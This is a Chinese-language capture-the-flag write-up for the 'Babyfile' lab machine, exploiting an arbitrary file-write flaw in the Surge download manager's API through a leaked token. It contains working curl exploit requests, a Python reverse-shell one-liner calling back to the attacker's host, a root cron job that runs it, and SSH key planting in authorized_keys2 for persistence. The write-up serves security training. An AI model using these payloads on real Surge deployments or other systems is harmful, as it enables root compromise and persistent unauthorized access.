

Babyfile Writeup by Sublarge

“

靶机：192.168.56.4 (Babyfile)

操作系统：Debian GNU/Linux 13 (trixie)

内核：Linux Babyfile 7.1.6-3-liquorix-amd64

靶机作者：ll104567

发布平台：maze-sec.com

0. 总结

通过信息收集发现端口 1700 上运行着开源下载管理器 SurgeDM/Surge (v0.11.2)。利用 `help.html` 泄露的 API token 完成认证后，通过 `/download` 接口的任意路径文件写入漏洞（`path` 参数接受任意绝对路径，服务以 root 运行），获得 root 权限并拿到双 flag。

SSH 持久化有两条路线：

- 路线一（实际执行）：写入 `/etc/cron.d/` 定时任务获得 root 反向 shell，在 shell 内直接覆盖 `authorized_keys`。
- 路线二（直接写 `authorized_keys2`）：利用 `sshd_config` 中 `AuthorizedKeysFile` 同时指向 `authorized_keys` 与 `authorized_keys2` 的特性，直接把公钥写到尚未存在的 `authorized_keys2`，无需 cron 即可免密登录。

渗透路径总览：



1. 信息收集

1.1 主机发现

```
Bash
nmap -Pn -sn 192.168.56.0/24
```

确认目标 192.168.56.4 存活, MAC 08:00:27:E4:DB:3E (Oracle VirtualBox)。

1.2 全端口 TCP 扫描

```
Bash
nmap -Pn -sS -T4 -p- --min-rate 2000 192.168.56.4
```

PORT	STATE	SERVICE	
22/tcp	open	ssh	OpenSSH 10.0p2 Debian 7+deb13u4
80/tcp	open	http	Apache httpd 2.4.68 (Debian)
1700/tcp	open	http	Golang net/http server

1.3 服务识别

```
Bash
nmap -Pn -sV -sC -p 22,80,1700 192.168.56.4
```

- 22/tcp — SSH (OpenSSH 10.0p2 Debian)
- 80/tcp — Apache 2.4.68, 标题「前线大作战 · Front Line」
- 1700/tcp — Go net/http 服务, 所有请求返回 401 Unauthorized (无 WWW-Authenticate 头), 但响应头带 Access-Control-Allow-Private-Network: true, 暗示是供局域网/浏览器扩展调用的 API。

UDP 补充扫描 (未利用): 123/161/1900/5353 显示 open|filtered。

2. Web 侦察

2.1 端口 80 — 游戏页面

首页是一个纯前端 Canvas 坦克游戏「前线大作战」(WASD 移动 / J 射击 / K 手雷 / L 上下车), 共 846 行, 全部内联 JS, 无任何网络请求 (无 fetch/WebSocket/beacon), 无隐藏 flag/注释。

2.2 目录爆破

使用大字典 + 常见扩展名递归爆破:

```
Bash
feroxbuster -u http://192.168.56.4 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html,txt
```

```
200 GET 8461 1719w 35639c http://192.168.56.4/
200 GET 8461 1719w 35639c http://192.168.56.4/index.html
200 GET 271 60w 1304c http://192.168.56.4/help.html <--- 关键发现
```

2.3 /help.html — 信息泄露

```
Bash
curl -s http://192.168.56.4/help.html
```

页面为「Surge 下载服务」说明：

- 服务器地址：192.168.3.201:1700
- 远程 TUI 连接：surge connect <ip>:1700 --token <token>
- 下载目录：/data/downloads
- HTML 注释中直接泄露了 token：

```
HTML
<!--
=====
Surge Auth Token (browser extension / remote TUI):
633ed779-3f00-4bcd-b32f-32456bccdfe3
=====
-->
```

“

经验：帮助页/说明页是常见的信息泄露点，爆破时务必加上 `html` 扩展名。

3. 服务识别：Surge 下载管理器

1700 端口是开源项目 [SurgeDM/Surge](#) (Go 编写的高速下载管理器，v0.11.2)，以系统服务方式运行：

```
root /opt/surge server start --is-system-service
```

通过克隆源码 (`git clone --depth 1`) 定位了 HTTP API 路由定义 (`cmd/http_api.go`、`cmd/root_downloads.go`)，关键端点：

4. 漏洞利用：任意文件写入

4.1 漏洞成因

`/download` 的 POST 请求体结构（源码 `cmd/root_downloads.go`）：

JSON

```
{
  "url": "http://attacker/file.txt",    // Surge 从该 URL 抓取内容
  "filename": "shell.php",             // 保存的文件名（过滤 .. / \）
  "path": "/任意绝对路径/",           // 保存目录
  "skip_approval": true
}
```

路径解析逻辑：

Go

```
// validateDownloadRequest: 仅过滤 "..", 不限制绝对路径
if strings.Contains(req.Path, "..") { return "invalid path" }

// resolveOutputDir: RelativeToDefaultDir=false 时直接使用 path
if relativeToDefaultDir && reqPath != "" {
    outputPath = filepath.Join(baseDir, reqPath) // 相对默认目录
} else if outputPath == "" {
    outputPath = defaultOutputDir                // 默认 /data/downloads
}
// 注意: reqPath 非空且非 relative 时, outputPath 保持绝对路径原样
```

而 Surge 服务以 `root` 运行（`/opt/surge server start`），且默认下载目录为 `/data/downloads`。因此可以向任意绝对路径写入任意内容——任意文件写入 + SSRF。

另外，`/purge` 端点会删除任务对应磁盘文件（源码 `local_service.go` 的 `Purge()` 调用 `RemoveFile(destPath)` 与 `RemoveFile(destPath+".surge")`），等于任意文件删除，后续用于清除 `.surge` 残留。

4.2 验证任意文件写

测试源：本机启动 HTTP 服务

```
Bash
python3 -m http.server 8888
```

创建下载任务：

```
Bash
TOKEN=633ed779-3f00-4bcd-b32f-32456bccdfe3

curl -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{ "url": "http://192.168.56.6:8888/test.txt", "filename": "test.txt", "path": "/data/downloads/", "skip_approval": true }' \
  http://192.168.56.4:1700/download
# { "filename": "test.txt", "id": "3b2c5f8e-...", "status": "queued" }
```

查询任务状态：

```
Bash
curl -H "Authorization: Bearer $TOKEN" \
  "http://192.168.56.4:1700/download?id=3b2c5f8e-..."
# { "dest_path": "/data/downloads/test.txt", "status": "completed", ... }
```

`dest_path` 完全受控。测试写入 Apache webroot：

```
Bash
curl -X POST ... -d '{ "url": "http://192.168.56.6:8888/pwn.php", "filename": "pwn.php", "path": "/var/www/html/", "skip_approval": true }'
curl http://192.168.56.4/pwn.php # 200 可访问（但 PHP 未启用，返回源码）
```

任意文件写入确认。

“

注意：Apache 未加载 PHP 模块（`*.php` 按静态文件返回），webshell 路线不可行。

4.3 获得 root shell: cron 反弹

坑点：直接通过 `/download` 写 `authorized_keys` 会触发 Surge 的 `GetUniqueFilename` 自动重命名（`authorized_keys(1)`），因为文件已存在。

思路：向 `/etc/cron.d/` 写入定时任务 + 向 `/tmp/` 写入反弹脚本，等待 cron 每分钟执行。

① 构造反弹脚本（PTY 反弹，Python3 在 Debian 上预装）：

```
Bash
#!/bin/bash
python3 -c 'import
socket,subprocess,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.con
nect(("192.168.56.6",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s
.fileno(),2);pty.spawn("/bin/bash")'
```

② 构造 cron 任务：

```
SHELL=/bin/bash
* * * * * root /bin/bash /tmp/rev.sh
```

③ 通过 `/download` 上传到靶机：

```
Bash
# 上传 rev.sh 到 /tmp
curl -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type:
application/json" \
-d
'{"url":"http://192.168.56.6:8888/rev.sh","filename":"rev.sh","path":"/tmp/","ski
p_approval":true}' \
http://192.168.56.4:1700/download
# → /tmp/rev.sh completed

# 上传 cron 任务到 /etc/cron.d
curl -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type:
application/json" \
-d
'{"url":"http://192.168.56.6:8888/cronrev","filename":"rev","path":"/etc/cron.d/"
,"skip_approval":true}' \
http://192.168.56.4:1700/download
# → /etc/cron.d/rev completed
```


④ 监听并等待 cron 执行：

使用 zellij + penelope 接收反向 shell：

```
Bash
zellij -s listener          # 创建会话
# 在会话内执行：
penelope -p 5555            # 监听 5555
```

```
[+] Listening for reverse shells on 0.0.0.0:5555
[+] [New Reverse Shell] => Babyfile 192.168.56.4 Linux-x86_64 🧑 root(0)
[+] Upgrading shell to PTY... successful via /usr/bin/python3
root@Babyfile:~#
```

1 分钟内获得 root 反向 shell。

5. 权限与持久化

5.1 确认 root 权限

```
Bash
root@Babyfile:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Babyfile:~# uname -a
Linux Babyfile 7.1.6-3-liquorix-amd64
```

5.2 读取 Flag

```
Bash
root@Babyfile:~# cat /root/root.txt /root/user.txt
flag{root-97ec9b288f491cb50ca8aafafe846df3}
flag{user-8edcd7d2015bf680018849a6f7f48f5f}
```

5.3 路线二：直接写 `authorized_keys2`

原理：`sshd_config` 中 `AuthorizedKeysFile` 同时列出两个文件，`sshd` 只要读到任一个包含公钥即可：

```
AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2
```

`/root/.ssh/authorized_keys` 已存在（作者预置 key），Surge 写入会被自动改名；但 `/root/.ssh/authorized_keys2` 不存在，是理想的直接写入目标。因此无需 cron，直接通过 `/download` 把公钥写入 `/root/.ssh/authorized_keys2` 即可免密登录：

Bash

```
curl -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d
  '{"url":"http://192.168.56.6:8888/id_ed25519.pub","filename":"authorized_keys2","path":"/root/.ssh/","skip_approval":true}' \
  http://192.168.56.4:1700/download
# → /root/.ssh/authorized_keys2 completed
```

坑点：第一次上传时源 HTTP 服务器短暂宕机，任务报错但留下了 0 字节的孤儿工作文件 `/root/.ssh/authorized_keys2.surge`。而 `GetUniqueFilename` 判定名字是否被占用的逻辑是「磁盘上存在同名文件 或 ** 同名 `.surge` 文件」（源码 `file_utils.go`）：

Go

```
existsOnDisk := func(name string) bool {
    targetPath := filepath.Join(dir, name)
    if _, err := os.Stat(targetPath); !os.IsNotExist(err) {
        return true
    }
    // A .surge sibling means another active or recoverable download already
    // claimed this filename, so we must not hand it out again.
    if _, err := os.Stat(targetPath + types.IncompleteSuffix);
    !os.IsNotExist(err) {
        return true
    }
    return false
}
```

于是后续重试被自动改名为 `authorized_keys2(1)` / `authorized_keys2(2)`，ssh 读不到 → `Permission denied`。

解法：用 `/purge` 清除该任务（同时删除磁盘上的 `authorized_keys2.surge` 残留），释放文件名后重试即可成功：

```
Bash
# 1. 找到报错任务 id (dest_path 为 /root/.ssh/authorized_keys2 的任务)
# 2. 清除任务 + 磁盘文件 (验证: purge 后 zzroute.surge 被删除)
curl -X POST -H "Authorization: Bearer $TOKEN" "http://192.168.56.4:1700/purge?
id=<任务id>"
# {"id":"e450a2e9-...", "status": "purged"}

# 3. 重新上传 (此时 authorized_keys2 名字空闲，落盘为精确文件名)
curl -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type:
application/json" \
  -d
'{"url": "http://192.168.56.6:8888/id_ed25519.pub", "filename": "authorized_keys2", "
path": "/root/.ssh/", "skip_approval": true}' \
  http://192.168.56.4:1700/download

# 4. 本机免密登录
ssh -i id_ed25519 root@192.168.56.4
# SSH_OK
```